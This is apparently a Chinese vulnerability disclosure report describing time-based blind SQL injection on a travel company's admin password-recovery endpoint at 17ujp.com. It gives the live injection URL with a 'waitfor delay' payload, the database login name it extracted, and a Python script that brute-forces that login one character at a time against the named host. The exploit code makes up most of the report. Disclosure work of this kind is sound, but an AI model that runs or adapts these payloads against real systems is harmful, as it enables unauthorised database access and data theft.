简要描述：

同程旅游网多站点同类MSSQL注射(附验证脚本)

详细说明：

注入点：

http://17349886.17ujp.com/Admin/AjaxForFindPwd.aspx?IsReseller=0&_=1419585952016&Account=123'; if (len(system_user)=10) waitfor delay '0:0:10'--


以上是猜解system_user长度为10

漏洞证明：

逐字符猜解system_user，得到：

17ujpadmin

验证脚本：

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
    payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ']
print 'Try to retrive user:'
user = ''
for i in range(1,11):
    for payload in payloads:
        try:
            conn = httplib.HTTPConnection('17349886.17ujp.com', timeout=3)
            s = "if (ascii(substring(system_user,%s,1))=%s) waitfor delay '0:0:3' --" % (i, ord(payload))
            params = "IsReseller=0&_=1419585952016&Account=123';" + urllib.quote(s)
            conn.request(method='GET', url= '/Admin/AjaxForFindPwd.aspx?' + params,
                         headers = headers)
            html_doc = conn.getresponse().read()
            conn.close()
            print '.',
        except Exception, e:
            user += payload
            print '\nIn progress]', user
            break
        
print '\n[Done] User is:', user


应该是域名泛解析，发现多个站点都存在该注射：
